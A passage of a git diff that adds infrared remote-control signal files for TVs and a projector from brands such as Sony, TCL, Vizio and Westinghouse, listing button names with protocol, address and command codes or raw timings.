+address: 07 00 00 00 +command: E6 00 00 00 +# +name: Source +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 01 00 00 00 +# +name: Vol_up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: Vol_down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: Mute +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: Up +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 60 00 00 00 +# +name: Down +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 61 00 00 00 +# +name: Left +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 65 00 00 00 +# +name: Right +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 62 00 00 00 +# +name: Enter +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 68 00 00 00 +# +name: Back +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 58 00 00 00 +# +name: Menu_home +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/TVs/Sharp/Sharp_Roku_TV.ir b/assets/resources/infrared/TVs/Sharp/Sharp_Roku_TV.ir new file mode 100644 index 000000000..e6fddc46c --- /dev/null +++ b/assets/resources/infrared/TVs/Sharp/Sharp_Roku_TV.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Back +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 04 00 00 00 +# +name: Home +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 43 00 00 00 +# +name: V+ +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: V- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 56 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 57 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 58 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 59 00 00 00 +# +name: Ok +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: Again +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 41 00 00 00 +# +name: Sleep +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: Star +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: Rewind +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4F 00 00 00 +# +name: Play Pause +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 42 00 00 00 +# +name: Fast Forward +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: Netflix +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: Hulu +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: Sling +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 45 00 00 00 +# +name: Now +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 67 00 00 00 diff --git a/assets/resources/infrared/TVs/Sony/Sony_Bravia.ir b/assets/resources/infrared/TVs/Sony/Sony_Bravia.ir new file mode 100644 index 000000000..26cf678e0 --- /dev/null +++ b/assets/resources/infrared/TVs/Sony/Sony_Bravia.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: Vol_up +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: Vol_down +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: Chan_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8958 4449 510 4475 515 4444 515 2213 508 4477 513 2215 516 2212 509 2219 512 2217 514 2214 517 2211 540 2214 517 2211 510 4449 510 2218 513 4472 507 2220 511 30572 8960 2218 513 87698 8966 2211 510 87701 8963 2214 568 +# +name: Chan_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8956 4451 508 2220 511 2217 514 4470 510 4449 510 2218 544 2211 510 2218 513 2215 516 2212 509 2220 511 2217 514 2214 517 2211 510 2245 517 4441 508 2220 511 35049 8961 2215 516 87696 8959 2217 514 87698 8956 2220 511 87701 8964 2213 508 diff --git a/assets/resources/infrared/TVs/Sony/Sony_XBR.ir b/assets/resources/infrared/TVs/Sony/Sony_XBR.ir new file mode 100644 index 000000000..c68e06da0 --- /dev/null +++ b/assets/resources/infrared/TVs/Sony/Sony_XBR.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: On +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: Off +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: Menu +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 60 00 00 00 +# +name: Up +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 74 00 00 00 +# +name: Left +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 34 00 00 00 +# +name: Ok +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 65 00 00 00 +# +name: Right +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 33 00 00 00 +# +name: Down +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 75 00 00 00 +# +name: Input +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 25 00 00 00 +# +name: Exit +type: parsed +protocol: SIRC15 +address: 97 00 00 00 +command: 23 00 00 00 +# +name: Vol_up +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: Vol_down +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir b/assets/resources/infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir new file mode 100644 index 000000000..e07740525 --- /dev/null +++ b/assets/resources/infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 15 00 00 00 +# +name: Input +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 25 00 00 00 +# +name: Vol_up +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: Vol_down +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: Ch_up +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 10 00 00 00 +# +name: Ch_down +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 11 00 00 00 +# +name: Mute +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/TVs/Sunbrite/Sunbrite.ir b/assets/resources/infrared/TVs/Sunbrite/Sunbrite.ir new file mode 100644 index 000000000..1e75c1b3c --- /dev/null +++ b/assets/resources/infrared/TVs/Sunbrite/Sunbrite.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: On +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Off +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Menu +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: Exit +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 49 00 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 45 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 47 00 00 00 +# +name: Ok +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 44 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 48 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 46 00 00 00 +# +name: Source +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 2F 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: Vol_down +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/TVs/TCL/TCL_32S327.ir b/assets/resources/infrared/TVs/TCL/TCL_32S327.ir new file mode 100644 index 000000000..8f5a67e63 --- /dev/null +++ b/assets/resources/infrared/TVs/TCL/TCL_32S327.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: Vup +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 0F F0 00 00 +# +name: Vdwn +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 10 EF 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2A D5 00 00 +# +name: Up +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 19 E6 00 00 +# +name: Dwn +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 33 CC 00 00 +# +name: Rt +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2D D2 00 00 +# +name: Lft +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 1E E1 00 00 +# +name: Home +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 03 FC 00 00 +# +name: Exit +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 66 99 00 00 diff --git a/assets/resources/infrared/TVs/TCL/TCL_UnknownModel1.ir b/assets/resources/infrared/TVs/TCL/TCL_UnknownModel1.ir new file mode 100644 index 000000000..37ca4caad --- /dev/null +++ b/assets/resources/infrared/TVs/TCL/TCL_UnknownModel1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1009 493 1006 486 1986 518 1006 486 1987 517 1007 485 1987 517 1007 485 1014 488 1010 492 1007 485 1013 489 1984 510 1988 516 1008 494 1978 516 1008 494 1979 515 983 519 1979 515 8184 4015 3980 518 1980 514 1985 519 1979 515 1983 511 1013 489 1010 492 1980 514 1010 492 1980 514 1011 491 1981 513 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1012 490 1982 512 986 516 1983 511 1013 489 1983 511 8070 4015 3980 518 1981 513 1985 519 1979 515 1983 511 1014 488 1010 492 1980 514 1011 491 1981 513 1011 491 1981 513 1012 490 1008 494 1005 487 1011 491 1008 484 1988 516 1982 512 1012 490 1983 511 1013 489 1983 511 1014 488 1984 510 +# +name: Home +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3984 513 1985 519 1979 515 1984 510 1988 516 1008 494 1005 487 1011 491 1008 484 1988 516 1008 494 1004 488 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1985 519 1979 515 983 519 1980 514 1984 510 1988 516 8183 4016 3979 518 1979 515 1984 510 1988 516 1982 512 986 516 1009 493 1005 487 1012 490 1982 512 1012 490 1008 494 1005 487 1011 491 1008 494 1004 488 1011 491 1981 513 1985 519 1979 515 1983 511 1014 488 1984 510 1988 516 1982 512 8068 4016 3978 519 1979 515 1983 511 1988 516 1981 513 985 517 1008 494 1004 488 1011 491 1981 513 985 517 1008 494 1004 488 1011 491 1007 485 1014 488 1010 492 1980 514 1984 520 1978 516 1983 511 1013 489 1983 511 1988 516 1982 512 +# +name: Apps +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4014 3982 515 1983 511 1987 517 1981 513 1985 519 1979 515 1984 510 1988 516 1008 494 1978 516 1982 512 987 515 1009 493 1005 487 1012 490 1008 494 1005 487 1011 491 1008 494 1004 488 1985 519 1005 487 1011 491 1982 512 1986 518 8180 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1983 510 1987 517 1981 513 1012 490 1982 512 1987 517 1007 485 1013 489 1010 492 1006 486 1013 489 1009 493 1005 487 1012 490 1008 494 1979 515 1009 493 1005 487 1986 518 1980 514 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3985 512 1986 518 1980 513 1985 519 1979 515 983 519 1980 514 1010 492 1980 514 1985 519 1005 487 1012 490 1982 511 986 516 1009 493 1005 487 1012 490 1982 511 986 516 1983 511 1014 488 1010 492 1980 514 1985 519 979 513 8186 4012 3983 514 1984 510 1988 516 1982 512 1987 517 1007 485 1988 516 1008 494 1978 516 1983 511 1013 489 1010 492 1980 514 1011 491 1007 485 1014 488 984 518 1980 513 1011 491 1982 511 1012 490 1009 493 1979 514 1984 520 1004 488 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3983 514 1984 520 1978 516 1983 511 1987 517 1007 485 1988 516 1008 494 1978 516 1983 511 1013 489 1009 493 1006 486 1013 489 1009 493 1005 487 1012 490 1981 513 1013 489 1983 511 1014 488 1010 492 1980 514 1984 520 1978 516 8183 4015 3980 517 1980 514 1985 519 1979 515 1983 511 1014 488 1984 520 1004 488 1985 519 1979 515 1010 492 1006 486 1013 489 1009 493 1006 486 1012 490 1009 493 1978 516 1009 493 1980 514 1010 492 1007 485 1987 517 1981 513 1986 518 +# +name: Left +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3984 513 1985 519 1979 514 1984 520 1978 515 1009 493 1979 514 1010 492 1980 513 1011 491 1981 512 1986 518 1007 485 1013 489 1010 492 1006 486 1013 489 1984 520 1004 488 1985 519 1005 487 1986 518 1006 486 1013 489 1983 510 8188 4010 3985 512 1987 517 1981 512 1985 519 1980 513 984 518 1981 512 985 517 1982 512 986 516 1983 510 1987 517 1007 485 1014 488 1011 491 1007 485 1014 488 1984 520 1005 487 1986 518 1006 486 1987 517 1007 485 1013 489 1984 520 +# +name: Right +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4013 3982 515 1984 520 1978 515 1983 510 1987 517 982 520 1978 515 983 519 1979 514 983 519 1980 514 1985 519 1979 514 984 518 981 511 988 514 984 518 1980 513 985 517 1981 512 986 516 1982 511 988 514 984 518 981 511 +# +name: Ok +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1987 517 1982 511 1986 518 1981 512 1985 519 1980 513 1984 520 1979 514 1009 493 1979 514 1011 491 1007 485 1014 488 1011 491 1007 485 1014 488 1011 491 1007 485 1014 488 1011 491 2007 486 1012 490 2008 485 1987 517 8181 4016 3979 518 1981 512 1985 519 1980 513 1984 520 1979 514 1983 510 1988 516 1982 511 1013 489 1984 520 1004 488 1011 491 1008 494 1005 487 1012 490 1008 494 1005 487 1012 490 1008 494 1005 487 1985 519 1006 486 1987 517 1981 512 +# +name: Settings +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1988 516 1982 511 1987 517 1982 511 1986 518 1981 512 1011 491 1008 494 1978 515 1983 510 1988 516 1982 511 1013 489 984 518 1007 485 1014 488 984 518 1007 485 1987 517 1982 511 986 516 1009 493 1006 486 1013 489 8183 4014 3981 516 1982 511 1987 517 1981 512 1986 518 1981 512 1985 519 979 513 1013 489 1983 510 1988 516 1982 511 1987 517 1007 495 1004 488 1011 491 1008 494 1004 488 1011 491 1982 511 1986 518 1007 485 1014 488 1010 492 1007 485 +# +name: Back +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3984 512 1986 518 1980 513 1985 519 1980 513 985 517 981 511 1988 516 983 519 979 513 1986 518 1980 513 1985 519 980 512 987 515 984 518 981 510 1987 517 1982 511 987 515 1983 521 1978 515 983 519 980 511 987 515 8184 4012 3982 514 1984 520 1978 515 1983 510 1988 516 983 519 980 511 1986 518 981 510 988 514 1984 520 1979 514 1983 521 979 512 986 516 982 520 979 512 1985 519 1980 513 985 517 1981 512 1986 518 982 510 989 513 985 517 +# +name: Vol_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1988 516 1982 511 1987 517 1981 512 1012 490 1009 493 1979 514 1010 492 1981 512 1986 518 1980 513 1985 519 979 513 1012 490 1009 493 1006 486 1986 518 1981 512 985 517 1982 511 987 515 1010 492 1006 486 1013 489 8184 4013 3982 515 1983 510 1988 516 1982 511 1987 517 1007 485 1014 488 1985 519 1005 487 1986 518 1981 512 1986 518 1980 513 1011 491 1008 494 1004 488 1011 491 1982 511 1987 517 1007 485 1988 516 1009 493 1005 487 1012 490 1009 493 +# +name: Vol_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3982 514 1984 519 1979 514 1984 519 1979 514 983 519 980 512 1988 516 982 520 1979 514 1984 519 1978 515 983 519 980 511 987 515 983 519 980 511 1988 516 1982 511 987 515 1983 521 978 514 985 517 981 521 1978 515 +# +name: Netflix +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4011 3984 512 1986 518 1981 512 1986 518 1980 513 1985 518 1979 514 1984 520 1005 487 1986 518 1980 513 1985 518 1980 513 1011 491 1008 494 1004 488 1011 491 1008 494 1005 486 1012 490 1982 511 1013 489 1010 492 1007 485 1014 488 8185 4011 3984 512 1986 517 1980 513 1985 518 1980 513 1985 518 1979 514 1984 519 1005 486 1986 517 1981 512 1985 518 1980 513 985 517 1008 494 1004 488 1011 491 1008 494 1005 486 1012 490 1982 511 1013 489 1010 492 1007 484 1014 488 8066 4015 3979 517 1981 512 1986 518 1980 513 1985 518 1980 513 1985 519 1979 514 1010 492 1981 512 1986 518 1980 513 1985 518 1006 486 1013 489 1010 492 1006 486 1013 489 1010 492 1007 485 1988 516 1008 494 1005 487 1012 490 1009 493 +# +name: Youtube +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4015 3980 516 1982 511 1987 517 1982 511 1987 516 1981 512 1986 517 1981 512 1012 490 982 520 979 512 1986 518 1007 485 1014 488 1011 491 1007 495 1004 487 985 517 1008 494 1005 486 1986 518 1980 513 1985 519 1006 486 1987 517 8181 4015 3980 516 1981 512 1986 518 1981 512 1986 517 1980 513 1985 519 1979 514 1010 492 1007 485 988 514 1985 519 1005 487 986 516 1009 493 979 513 1013 489 983 519 1006 486 1013 489 1984 519 1978 515 1983 520 978 513 1985 518 +# +name: Ch_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3983 513 1985 518 1980 513 1985 518 1980 513 984 518 981 521 1978 515 983 519 1980 513 1984 520 979 512 1986 517 1007 484 1014 488 1011 491 1007 495 1978 515 1983 510 1014 488 1984 519 979 512 1012 490 1983 510 1014 488 8185 4011 3984 512 1986 518 1980 513 1985 518 1980 513 1011 491 1007 485 1988 516 982 520 1979 514 1984 519 1005 486 1986 517 981 510 1014 488 985 517 1007 495 1978 515 1983 510 1014 488 1985 518 1006 486 1013 489 1983 520 1004 487 +# +name: Ch_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4016 3980 516 1982 511 1987 516 1982 511 1987 516 982 520 1004 487 1986 517 980 511 1987 516 1982 511 1013 489 1010 492 1006 486 1013 489 984 518 1007 485 1988 516 1982 511 987 515 1984 519 1005 486 985 517 1982 511 1987 517 8182 4014 3981 515 1983 520 1978 515 1983 510 1988 515 982 520 979 512 1987 517 981 510 1988 516 1983 510 987 515 1010 492 981 521 978 513 985 517 981 521 1978 515 1983 520 978 514 1985 518 979 513 986 516 1983 520 1978 515 diff --git a/assets/resources/infrared/TVs/TCL/TCL_UnknownModel2.ir b/assets/resources/infrared/TVs/TCL/TCL_UnknownModel2.ir new file mode 100644 index 000000000..0d5818278 --- /dev/null +++ b/assets/resources/infrared/TVs/TCL/TCL_UnknownModel2.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: Vol_up +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 0F F0 00 00 +# +name: Vol_down +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 10 EF 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 20 DF 00 00 +# +name: Up +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 19 E6 00 00 +# +name: Down +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 33 CC 00 00 +# +name: Left +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 1E E1 00 00 +# +name: Right +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2D D2 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2A D5 00 00 +# +name: Home +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 03 FC 00 00 +# +name: Exit +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 66 99 00 00 diff --git a/assets/resources/infrared/TVs/Toshiba/Toshiba_32AV502U.ir b/assets/resources/infrared/TVs/Toshiba/Toshiba_32AV502U.ir new file mode 100644 index 000000000..ff8915f73 --- /dev/null +++ b/assets/resources/infrared/TVs/Toshiba/Toshiba_32AV502U.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 12 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: Vol_down +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 10 00 00 00 +# +name: Info +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: Input +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/TVs/Vizio/Vizio.ir b/assets/resources/infrared/TVs/Vizio/Vizio.ir new file mode 100644 index 000000000..e9cc9df5f --- /dev/null +++ b/assets/resources/infrared/TVs/Vizio/Vizio.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Input +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 2F 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: Vol_down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: Ch_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: Ch_down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 45 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 46 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 48 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 47 00 00 00 +# +name: Home +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 2D 00 00 00 +# +name: Back +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4A 00 00 00 +# +name: Menu +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4F 00 00 00 +# +name: Previous +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: Info +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: Enter +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/TVs/Westinghouse/Westinghouse.ir b/assets/resources/infrared/TVs/Westinghouse/Westinghouse.ir new file mode 100644 index 000000000..6f254ef8a --- /dev/null +++ b/assets/resources/infrared/TVs/Westinghouse/Westinghouse.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 46 B9 00 00 +# +name: V_up +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0C F3 00 00 +# +name: V_dwn +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 19 E6 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 48 B7 00 00 +# +name: Dwn +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4D B2 00 00 +# +name: Rt +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 49 B6 00 00 +# +name: Lft +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4E B1 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4A B5 00 00 +# +name: Exit +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0D F2 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4C B3 00 00 +# +name: Source +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4B B4 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 45 BA 00 00 +# +name: Ch_up +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0F F0 00 00 +# +name: Ch_dwn +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 5A A5 00 00 +# +name: Return +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 16 E9 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir b/assets/resources/infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir new file mode 100644 index 000000000..2bde169e7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 00 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 01 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 02 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 03 00 00 00 +# +name: X_KEY_ORANGE +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 04 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 05 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 06 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 07 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 09 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 0A 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 0C 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 0F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 10 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 11 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 12 00 00 00 +# +name: X_KEY_PURPLE +type: parsed +protocol: NECext +address: 20 9F 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/3M/Projector/134,-1.ir b/assets/resources/infrared/_CSV-IRDB_/3M/Projector/134,-1.ir new file mode 100644 index 000000000..b6b559ac4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/3M/Projector/134,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 00 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 05 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 05 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 08 00 00 00 +# +name: FOCUS_+ +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 15 00 00 00 +# +name: FOCUS_- +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 16 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 17 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 21 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 2A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 30 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 31 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 32 00 00 00 +# +name: MAGNIFY +type: parsed +protocol: NECext +address: 86 